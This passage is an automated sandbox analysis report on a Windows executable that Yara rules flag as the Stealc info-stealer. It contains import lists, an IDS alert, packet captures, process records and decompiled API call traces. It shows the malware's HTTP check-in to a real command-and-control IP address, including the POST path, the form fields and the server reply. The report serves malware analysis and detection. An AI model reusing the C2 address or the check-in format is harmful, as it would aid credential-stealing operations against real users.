SearchPathW, WriteConsoleOutputCharacterA, GetCommState, ReadConsoleA, InterlockedDecrement, QueryDosDeviceA, InterlockedCompareExchange, GetComputerNameW, GetTimeFormatA, ConnectNamedPipe, FreeEnvironmentStringsA, GetModuleHandleW, GetConsoleAliasesLengthA, FormatMessageA, SetCommState, LoadLibraryW, GetConsoleMode, CopyFileW, ReadConsoleOutputW, GetConsoleAliasExesLengthW, GetSystemTimeAdjustment, DeleteVolumeMountPointW, HeapDestroy, GetFileAttributesW, GetBinaryTypeW, ReleaseSemaphore, GetLastError, GetLongPathNameW, GetProcAddress, SetStdHandle, BuildCommDCBW, GetNumaHighestNodeNumber, ResetEvent, LoadLibraryA, LocalAlloc, SetCalendarInfoW, FindAtomA, GetModuleFileNameA, GetDefaultCommConfigA, FatalAppExitA, GetShortPathNameW, GlobalReAlloc, GetVolumeInformationW, HeapAlloc, Sleep, ExitProcess, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, VirtualAlloc, HeapReAlloc, HeapCreate, WriteFile, GetStdHandle, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InitializeCriticalSectionAndSpinCount, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapSize, GetLocaleInfoA, WideCharToMultiByte, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW

USER32.dll

SetFocus

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T18:48:09.342481+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	62.122.184.144	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 18:48:08.281151056 CEST	49704	80	192.168.2.5	62.122.184.144
Oct 8, 2024 18:48:08.286207914 CEST	80	49704	62.122.184.144	192.168.2.5
Oct 8, 2024 18:48:08.286293030 CEST	49704	80	192.168.2.5	62.122.184.144
Oct 8, 2024 18:48:08.286413908 CEST	49704	80	192.168.2.5	62.122.184.144
Oct 8, 2024 18:48:08.291239023 CEST	80	49704	62.122.184.144	192.168.2.5
Oct 8, 2024 18:48:08.992774963 CEST	80	49704	62.122.184.144	192.168.2.5
Oct 8, 2024 18:48:08.992849112 CEST	49704	80	192.168.2.5	62.122.184.144
Oct 8, 2024 18:48:08.996458054 CEST	49704	80	192.168.2.5	62.122.184.144
Oct 8, 2024 18:48:09.002341032 CEST	80	49704	62.122.184.144	192.168.2.5
Oct 8, 2024 18:48:09.342236996 CEST	80	49704	62.122.184.144	192.168.2.5
Oct 8, 2024 18:48:09.342480898 CEST	49704	80	192.168.2.5	62.122.184.144
Oct 8, 2024 18:48:14.347692966 CEST	80	49704	62.122.184.144	192.168.2.5
Oct 8, 2024 18:48:14.347786903 CEST	49704	80	192.168.2.5	62.122.184.144
Oct 8, 2024 18:48:27.453022957 CEST	49704	80	192.168.2.5	62.122.184.144

HTTP Request Dependency Graph

62.122.184.144

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	62.122.184.144	80	3496	C:\Users\user\Desktop\mJXdkcP4Wx.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:48:08.286413908 CEST	89	OUT	GET / HTTP/1.1 Host: 62.122.184.144 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 18:48:08.992774963 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:48:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 18:48:08.996458054 CEST	420	OUT	POST /f88d87a7e087e100.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 62.122.184.144 Content-Length: 219 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 41 35 37 34 41 36 33 46 44 31 34 31 33 30 36 38 39 37 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 35 5f 70 61 6c 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 2d 2d 0d 0a Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="hwid"EDA574A63FD14130689737------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="build"default5_pal------AKECBFBAEBKJJJJKFCGC--
Oct 8, 2024 18:48:09.342236996 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:48:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	12:47:55
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\mJXdkcP4Wx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\mJXdkcP4Wx.exe"
Imagebase:	0x400000
File size:	342'528 bytes
MD5 hash:	BE89DDDEE1630CDE41B95D2DF6070BD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2338388103.0000000000793000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2081526955.0000000002310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:48:01
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 804
Imagebase:	0xa50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:48:02
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 804
Imagebase:	0xa50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:48:02
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 828
Imagebase:	0xa50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:48:04
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 860
Imagebase:	0xa50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:48:05
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 884
Imagebase:	0xa50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:48:06
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 1104
Imagebase:	0xa50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:48:09
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 1060
Imagebase:	0xa50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	4.9%
Signature Coverage:	12.3%
Total number of Nodes:	1417
Total number of Limit Nodes:	28

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction ID: ff82eb6acc97b20701c4bcbd3dbf8f3289274c2dbbe7f73b68b52ee208cac3fc
Opcode Fuzzy Hash: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction Fuzzy Hash: 1D419979740624EBC718AFE5FC8DB987F71AB4C712BA0C062F90296190C7B9D5119B3E

Function 00419860 Relevance: 89.5, APIs: 33, Strings: 18, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00767E58), ref: 004198A1
GetProcAddress.KERNEL32(75900000,00767F18), ref: 004198BA
GetProcAddress.KERNEL32(75900000,00767E88), ref: 004198D2
GetProcAddress.KERNEL32(75900000,00767ED0), ref: 004198EA
GetProcAddress.KERNEL32(75900000,00767EA0), ref: 00419903
GetProcAddress.KERNEL32(75900000,00764E20), ref: 0041991B
GetProcAddress.KERNEL32(75900000,007648E8), ref: 00419933
GetProcAddress.KERNEL32(75900000,00764928), ref: 0041994C
GetProcAddress.KERNEL32(75900000,00767EE8), ref: 00419964
GetProcAddress.KERNEL32(75900000,00767E70), ref: 0041997C
GetProcAddress.KERNEL32(75900000,00792B48), ref: 00419995
GetProcAddress.KERNEL32(75900000,00792C68), ref: 004199AD
GetProcAddress.KERNEL32(75900000,00764A28), ref: 004199C5
GetProcAddress.KERNEL32(75900000,00792B90), ref: 004199DE
GetProcAddress.KERNEL32(75900000,00792BA8), ref: 004199F6
GetProcAddress.KERNEL32(75900000,007647E8), ref: 00419A0E
GetProcAddress.KERNEL32(75900000,00792C20), ref: 00419A27
GetProcAddress.KERNEL32(75900000,00792C50), ref: 00419A3F
GetProcAddress.KERNEL32(75900000,00764A08), ref: 00419A57
GetProcAddress.KERNEL32(75900000,00792C38), ref: 00419A70
GetProcAddress.KERNEL32(75900000,00764748), ref: 00419A88
LoadLibraryA.KERNEL32(00792AA0,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(00792C80,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(00792C98,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(00792B00,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(00792AE8,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75070000,00792CB0), ref: 00419B02
GetProcAddress.KERNEL32(75FD0000,00792A58), ref: 00419B23
GetProcAddress.KERNEL32(75FD0000,007929C8), ref: 00419B3B
GetProcAddress.KERNEL32(75A50000,00792B18), ref: 00419B5D
GetProcAddress.KERNEL32(74E50000,00764708), ref: 00419B7E
GetProcAddress.KERNEL32(76E80000,00764F60), ref: 00419B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00419BB6

Strings

P,y, xrefs: 00419A32
(Jv, xrefs: 004199B8
X~v, xrefs: 00419894
X*y, xrefs: 00419B16
~v, xrefs: 00419957
(Iv, xrefs: 0041993E
,y, xrefs: 00419A19
h,y, xrefs: 004199A0
Nv, xrefs: 0041990E
*y, xrefs: 00419ADA
`Ov, xrefs: 00419B92
p~v, xrefs: 0041996F
Gv, xrefs: 00419A01
Hv, xrefs: 00419926
HGv, xrefs: 00419A7B
H+y, xrefs: 00419987
8,y, xrefs: 00419A62
NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
